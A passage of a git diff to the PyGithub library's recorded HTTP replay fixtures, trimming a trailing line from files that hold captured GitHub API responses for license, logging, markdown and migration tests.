_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/PyGithub/PyGithub","description":"Python library implementing the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","created_at":"2012-02-25T12:53:47Z","updated_at":"2015-03-26T14:31:35Z","pushed_at":"2015-03-18T19:20:30Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"http://jacquev6.github.io/PyGithub","size":15874,"stargazers_count":559,"watchers_count":559,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":152,"mirror_url":null,"open_issues_count":24,"forks":152,"open_issues":24,"watchers":559,"default_branch":"master"},"network_count":152,"subscribers_count":1} - diff --git a/tests/ReplayData/License.setUp.txt b/tests/ReplayData/License.setUp.txt index ff6285c7bb..cdd640fc43 100644 --- a/tests/ReplayData/License.setUp.txt +++ b/tests/ReplayData/License.setUp.txt @@ -8,4 +8,3 @@ None 200 [('content-length', '1927'), ('x-runtime-rack', '0.021099'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"9f803324f4a6fde118084a597a68c1c5"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4932'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DFF3:5CB3:1DA121:26987F:5AB33249'), ('date', 'Thu, 22 Mar 2018 04:34:17 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1521696564')] {"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","html_url":"http://choosealicense.com/licenses/mit/","description":"A short and simple permissive license with conditions only requiring preservation of copyright and license notices. Licensed works, modifications, and larger works may be distributed under different terms and without source code.","implementation":"Create a text file (typically named LICENSE or LICENSE.txt) in the root of your source code and copy the text of the license into the file. Replace [year] with the current year and [fullname] with the name (or names) of the copyright holders.","permissions":["commercial-use","modifications","distribution","private-use"],"conditions":["include-copyright"],"limitations":["liability","warranty"],"body":"MIT License\n\nCopyright (c) [year] [fullname]\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n","featured":true} - diff --git a/tests/ReplayData/Logging.testLoggingWithBaseUrl.txt b/tests/ReplayData/Logging.testLoggingWithBaseUrl.txt index c42a9ae0b6..9a5b8b665e 100644 --- a/tests/ReplayData/Logging.testLoggingWithBaseUrl.txt +++ b/tests/ReplayData/Logging.testLoggingWithBaseUrl.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('content-length', '628'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept'), ('x-ratelimit-remaining', '4989'), ('server', 'nginx'), ('last-modified', 'Tue, 25 Sep 2012 07:42:42 GMT'), ('connection', 'keep-alive'), ('etag', '"9bd085221a16b6d2ea95e72634c3c1ac"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('date', 'Tue, 25 Sep 2012 20:38:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","html_url":"https://github.com/jacquev6","login":"jacquev6","followers":14,"company":"Criteo","created_at":"2010-07-09T06:10:06Z","email":"vincent@vincent-jacques.net","hireable":false,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","public_gists":3,"bio":"","following":29,"name":"Vincent Jacques","blog":"http://vincent-jacques.net","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146,"public_repos":13,"location":"Paris, France","url":"https://api.github.com/users/jacquev6"} - diff --git a/tests/ReplayData/Logging.testLoggingWithBasicAuthentication.txt b/tests/ReplayData/Logging.testLoggingWithBasicAuthentication.txt index 3957553d2a..1f7776d594 100644 --- a/tests/ReplayData/Logging.testLoggingWithBasicAuthentication.txt +++ b/tests/ReplayData/Logging.testLoggingWithBasicAuthentication.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('content-length', '806'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4993'), ('server', 'nginx'), ('last-modified', 'Fri, 14 Sep 2012 18:47:46 GMT'), ('connection', 'keep-alive'), ('etag', '"434dfe5d3f50558fe3cea087cb95c401"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Mon, 17 Sep 2012 17:12:32 GMT'), ('content-type', 'application/json; charset=utf-8')] {"owned_private_repos":3,"disk_usage":18612,"following":28,"type":"User","public_repos":13,"location":"Paris, France","company":"Criteo","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","plan":{"space":614400,"private_repos":5,"name":"micro","collaborators":1},"blog":"http://vincent-jacques.net","login":"jacquev6","public_gists":3,"html_url":"https://github.com/jacquev6","hireable":false,"created_at":"2010-07-09T06:10:06Z","private_gists":5,"followers":13,"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","bio":"","total_private_repos":3,"collaborators":0,"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146,"url":"https://api.github.com/users/jacquev6"} - diff --git a/tests/ReplayData/Logging.testLoggingWithOAuthAuthentication.txt b/tests/ReplayData/Logging.testLoggingWithOAuthAuthentication.txt index 35e2bca3e6..ba21dba12c 100644 --- a/tests/ReplayData/Logging.testLoggingWithOAuthAuthentication.txt +++ b/tests/ReplayData/Logging.testLoggingWithOAuthAuthentication.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4993'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '628'), ('server', 'nginx'), ('last-modified', 'Tue, 25 Sep 2012 07:42:42 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c23ad6b5815fc3d6ec6341c4a47afe85"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Tue, 25 Sep 2012 20:36:54 GMT'), ('x-oauth-scopes', ''), ('content-type', 'application/json; charset=utf-8'), ('x-accepted-oauth-scopes', 'user')] {"type":"User","bio":"","html_url":"https://github.com/jacquev6","login":"jacquev6","followers":14,"company":"Criteo","blog":"http://vincent-jacques.net","public_repos":13,"created_at":"2010-07-09T06:10:06Z","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","email":"vincent@vincent-jacques.net","following":29,"name":"Vincent Jacques","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","hireable":false,"id":327146,"public_gists":3,"location":"Paris, France","url":"https://api.github.com/users/jacquev6"} - diff --git a/tests/ReplayData/Logging.testLoggingWithoutAuthentication.txt b/tests/ReplayData/Logging.testLoggingWithoutAuthentication.txt index 14b309a8c2..b86ac95dce 100644 --- a/tests/ReplayData/Logging.testLoggingWithoutAuthentication.txt +++ b/tests/ReplayData/Logging.testLoggingWithoutAuthentication.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('content-length', '628'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept'), ('x-ratelimit-remaining', '4989'), ('server', 'nginx'), ('last-modified', 'Tue, 25 Sep 2012 07:42:42 GMT'), ('connection', 'keep-alive'), ('etag', '"9bd085221a16b6d2ea95e72634c3c1ac"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('date', 'Tue, 25 Sep 2012 20:38:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","html_url":"https://github.com/jacquev6","login":"jacquev6","followers":14,"company":"Criteo","created_at":"2010-07-09T06:10:06Z","email":"vincent@vincent-jacques.net","hireable":false,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","public_gists":3,"bio":"","following":29,"name":"Vincent Jacques","blog":"http://vincent-jacques.net","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146,"public_repos":13,"location":"Paris, France","url":"https://api.github.com/users/jacquev6"} - diff --git a/tests/ReplayData/Markdown.setUp.txt b/tests/ReplayData/Markdown.setUp.txt index 20dc258075..c77c240e90 100644 --- a/tests/ReplayData/Markdown.setUp.txt +++ b/tests/ReplayData/Markdown.setUp.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '1154'), ('server', 'nginx/1.0.13'), ('last-modified', 'Thu, 12 Jul 2012 18:10:45 GMT'), ('connection', 'keep-alive'), ('etag', '"7db49a096161f262ffd7e0545292f4c3"'), ('cache-control', 'private, max-age=60'), ('date', 'Fri, 13 Jul 2012 11:59:59 GMT'), ('content-type', 'application/json; charset=utf-8')] {"svn_url":"https://github.com/jacquev6/PyGithub","created_at":"2012-02-25T12:53:47Z","owner":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146,"login":"jacquev6","url":"https://api.github.com/users/jacquev6"},"full_name":"jacquev6/PyGithub","has_wiki":false,"watchers":43,"git_url":"git://github.com/jacquev6/PyGithub.git","html_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-07-11T11:29:24Z","updated_at":"2012-07-12T18:10:45Z","permissions":{"pull":true,"push":true,"admin":true},"open_issues":11,"forks":7,"clone_url":"https://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","homepage":"http://vincent-jacques.net/PyGithub","size":160,"fork":false,"master_branch":"master","mirror_url":null,"has_issues":true,"name":"PyGithub","has_downloads":true,"description":"Python library implementing the full Github API v3","private":false,"id":3544490,"language":"Python","url":"https://api.github.com/repos/jacquev6/PyGithub"} - diff --git a/tests/ReplayData/Markdown.testRenderGithubFlavoredMarkdown.txt b/tests/ReplayData/Markdown.testRenderGithubFlavoredMarkdown.txt index c12654cc0f..756de9987f 100644 --- a/tests/ReplayData/Markdown.testRenderGithubFlavoredMarkdown.txt +++ b/tests/ReplayData/Markdown.testRenderGithubFlavoredMarkdown.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('content-length', '150'), ('x-ratelimit-remaining', '4988'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"63251bf7dbb58f62c59ae39bb72c7a38"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Fri, 13 Jul 2012 11:59:58 GMT'), ('content-type', 'text/html;charset=utf-8')]

MyTitle

Issue #1

- diff --git a/tests/ReplayData/Markdown.testRenderMarkdown.txt b/tests/ReplayData/Markdown.testRenderMarkdown.txt index b31ac7f1ec..9ab89e0d24 100644 --- a/tests/ReplayData/Markdown.testRenderMarkdown.txt +++ b/tests/ReplayData/Markdown.testRenderMarkdown.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('content-length', '133'), ('x-ratelimit-remaining', '4985'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4cb17c0ebe3cc45c1a7f27d4d0850c54"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Fri, 13 Jul 2012 11:59:59 GMT'), ('content-type', 'text/html;charset=utf-8')]

MyTitle

Issue #1

- diff --git a/tests/ReplayData/Migration.setUp.txt b/tests/ReplayData/Migration.setUp.txt index 2d3ea05270..a45566cffd 100644 --- a/tests/ReplayData/Migration.setUp.txt +++ b/tests/ReplayData/Migration.setUp.txt @@ -8,4 +8,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Sep 2018 20:18:23 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4967'), ('X-RateLimit-Reset', '1536871398'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"0e6e9ad6d4eb6ea5556826cc673d7145"'), ('X-GitHub-Media-Type', 'github.wyandotte-preview; format=json'), ('Link', '; rel="next", ; rel="last"'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.256511'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F2A0:20F9:4E070C:C80BBD:5B9AC60E')] [{"id":25320,"node_id":"MDk6TWlncmF0aW9uMjUzMjA=","owner":{"login":"singh811","id":41840111,"node_id":"MDQ6VXNlcjQxODQwMTEx","avatar_url":"https://avatars2.githubusercontent.com/u/41840111?v=4","gravatar_id":"","url":"https://api.github.com/users/singh811","html_url":"https://github.com/singh811","followers_url":"https://api.github.com/users/singh811/followers","following_url":"https://api.github.com/users/singh811/following{/other_user}","gists_url":"https://api.github.com/users/singh811/gists{/gist_id}","starred_url":"https://api.github.com/users/singh811/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/singh811/subscriptions","organizations_url":"https://api.github.com/users/singh811/orgs","repos_url":"https://api.github.com/users/singh811/repos","events_url":"https://api.github.com/users/singh811/events{/privacy}","received_events_url":"https://api.github.com/users/singh811/received_events","type":"User","site_admin":false},"guid":"608bceae-b790-11e8-8b43-4e3cb0dd56cc","state":"exported","lock_repositories":false,"exclude_attachments":false,"repositories":[{"id":148631065,"node_id":"MDEwOlJlcG9zaXRvcnkxNDg2MzEwNjU=","name":"sample-repo","full_name":"singh811/sample-repo","owner":{"login":"singh811","id":41840111,"node_id":"MDQ6VXNlcjQxODQwMTEx","avatar_url":"https://avatars2.githubusercontent.com/u/41840111?v=4","gravatar_id":"","url":"https://api.github.com/users/singh811","html_url":"https://github.com/singh811","followers_url":"https://api.github.com/users/singh811/followers","following_url":"https://api.github.com/users/singh811/following{/other_user}","gists_url":"https://api.github.com/users/singh811/gists{/gist_id}","starred_url":"https://api.github.com/users/singh811/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/singh811/subscriptions","organizations_url":"https://api.github.com/users/singh811/orgs","repos_url":"https://api.github.com/users/singh811/repos","events_url":"https://api.github.com/users/singh811/events{/privacy}","received_events_url":"https://api.github.com/users/singh811/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/singh811/sample-repo","description":null,"fork":false,"url":"https://api.github.com/repos/singh811/sample-repo","forks_url":"https://api.github.com/repos/singh811/sample-repo/forks","keys_url":"https://api.github.com/repos/singh811/sample-repo/keys{/key_id}","collaborators_url":"https://api.github.com/repos/singh811/sample-repo/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/singh811/sample-repo/teams","hooks_url":"https://api.github.com/repos/singh811/sample-repo/hooks","issue_events_url":"https://api.github.com/repos/singh811/sample-repo/issues/events{/number}","events_url":"https://api.github.com/repos/singh811/sample-repo/events","assignees_url":"https://api.github.com/repos/singh811/sample-repo/assignees{/user}","branches_url":"https://api.github.com/repos/singh811/sample-repo/branches{/branch}","tags_url":"https://api.github.com/repos/singh811/sample-repo/tags","blobs_url":"https://api.github.com/repos/singh811/sample-repo/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/singh811/sample-repo/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/singh811/sample-repo/git/refs{/sha}","trees_url":"https://api.github.com/repos/singh811/sample-repo/git/trees{/sha}","statuses_url":"https://api.github.com/repos/singh811/sample-repo/statuses/{sha}","languages_url":"https://api.github.com/repos/singh811/sample-repo/languages","stargazers_url":"https://api.github.com/repos/singh811/sample-repo/stargazers","contributors_url":"https://api.github.com/repos/singh811/sample-repo/contributors","subscribers_url":"https://api.github.com/repos/singh811/sample-repo/subscribers","subscription_url":"https://api.github.com/repos/singh811/sample-repo/subscription","commits_url":"https://api.github.com/repos/singh811/sample-repo/commits{/sha}","git_commits_url":"https://api.github.com/repos/singh811/sample-repo/git/commits{/sha}","comments_url":"https://api.github.com/repos/singh811/sample-repo/comments{/number}","issue_comment_url":"https://api.github.com/repos/singh811/sample-repo/issues/comments{/number}","contents_url":"https://api.github.com/repos/singh811/sample-repo/contents/{+path}","compare_url":"https://api.github.com/repos/singh811/sample-repo/compare/{base}...{head}","merges_url":"https://api.github.com/repos/singh811/sample-repo/merges","archive_url":"https://api.github.com/repos/singh811/sample-repo/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/singh811/sample-repo/downloads","issues_url":"https://api.github.com/repos/singh811/sample-repo/issues{/number}","pulls_url":"https://api.github.com/repos/singh811/sample-repo/pulls{/number}","milestones_url":"https://api.github.com/repos/singh811/sample-repo/milestones{/number}","notifications_url":"https://api.github.com/repos/singh811/sample-repo/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/singh811/sample-repo/labels{/name}","releases_url":"https://api.github.com/repos/singh811/sample-repo/releases{/id}","deployments_url":"https://api.github.com/repos/singh811/sample-repo/deployments","created_at":"2018-09-13T11:58:30Z","updated_at":"2018-09-13T20:05:35Z","pushed_at":"2018-09-13T11:58:31Z","git_url":"git://github.com/singh811/sample-repo.git","ssh_url":"git@github.com:singh811/sample-repo.git","clone_url":"https://github.com/singh811/sample-repo.git","svn_url":"https://github.com/singh811/sample-repo","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true}}],"url":"https://api.github.com/user/migrations/25320","created_at":"2018-09-14T01:35:35.000+05:30","updated_at":"2018-09-14T01:35:46.000+05:30"}] - diff --git a/tests/ReplayData/Migration.testDelete.txt b/tests/ReplayData/Migration.testDelete.txt index 8abe665e68..f6ae407494 100644 --- a/tests/ReplayData/Migration.testDelete.txt +++ b/tests/ReplayData/Migration.testDelete.txt @@ -7,5 +7,3 @@ None None 204 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Sep 2018 20:14:05 GMT'), ('Content-Type', 'application/octet-stream'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4971'), ('X-RateLimit-Reset', '1536871398'), ('X-GitHub-Media-Type', 'github.wyandotte-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.083770'), ('X-GitHub-Request-Id', 'F9FA:20FB:A7EA64:165BB04:5B9AC50C')] - - diff --git a/tests/ReplayData/Migration.testGetArchiveUrlWhenDeleted.txt b/tests/ReplayData/Migration.testGetArchiveUrlWhenDeleted.txt index d2dbe07c2e..13d64c174f 100644 --- a/tests/ReplayData/Migration.testGetArchiveUrlWhenDeleted.txt +++ b/tests/ReplayData/Migration.testGetArchiveUrlWhenDeleted.txt @@ -8,4 +8,3 @@ None 404 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Sep 2018 20:17:43 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '404 Not Found'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4969'), ('X-RateLimit-Reset', '1536871398'), ('X-GitHub-Media-Type', 'github.wyandotte-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.048286'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D06B:20FA:80A9D5:128E928:5B9AC5E6')] {"message":"Not Found","documentation_url":"https://developer.github.com/v3/migrations/users/#download-a-user-migration-archive"} - diff --git a/tests/ReplayData/Migration.testGetArchiveUrlWhenExported.txt b/tests/ReplayData/Migration.testGetArchiveUrlWhenExported.txt index b2e0c57893..23ad05b291 100644 --- a/tests/ReplayData/Migration.testGetArchiveUrlWhenExported.txt +++ b/tests/ReplayData/Migration.testGetArchiveUrlWhenExported.txt @@ -8,4 +8,3 @@ None 302 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Sep 2018 20:11:00 GMT'), ('Content-Type', 'text/html;charset=utf-8'), ('Content-Length', '470'), ('Status', '302 Found'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4976'), ('X-RateLimit-Reset', '1536871398'), ('location', 'https://github-cloud.s3.amazonaws.com/migration/25320/24575?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAISTNZFOVBIJMK3TQ%2F20180913%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20180913T201100Z&X-Amz-Expires=300&X-Amz-Signature=a0aeb638facd0c78c1ed3ca86022eddbee91e5fe1bb48ee830f54b8b7b305026&X-Amz-SignedHeaders=host&actor_id=41840111&response-content-disposition=filename%3D608bceae-b790-11e8-8b43-4e3cb0dd56cc.tar.gz&response-content-type=application%2Fx-gzip'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.066845'), ('X-GitHub-Request-Id', '72DA:20F9:4DC6B3:C7706A:5B9AC453')] https://github-cloud.s3.amazonaws.com/migration/25320/24575?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAISTNZFOVBIJMK3TQ%2F20180913%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20180913T201100Z&X-Amz-Expires=300&X-Amz-Signature=a0aeb638facd0c78c1ed3ca86022eddbee91e5fe1bb48ee830f54b8b7b305026&X-Amz-SignedHeaders=host&actor_id=41840111&response-content-disposition=filename%3D608bceae-b790-11e8-8b43-4e3cb0dd56cc.tar.gz&response-content-type=application%2Fx-gzip - diff --git a/tests/ReplayData/Migration.testGetArchiveUrlWhenNotExported.txt b/tests/ReplayData/Migration.testGetArchiveUrlWhenNotExported.txt index eb7751503c..462826ab5b 100644 --- a/tests/ReplayData/Migration.testGetArchiveUrlWhenNotExported.txt +++ b/tests/ReplayData/Migration.testGetArchiveUrlWhenNotExported.txt @@ -8,4 +8,3 @@ None 404 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Sep 2018 20:05:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '404 Not Found'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4978'), ('X-RateLimit-Reset', '1536871398'), ('X-GitHub-Media-Type', 'github.wyandotte-preview; format=json'), 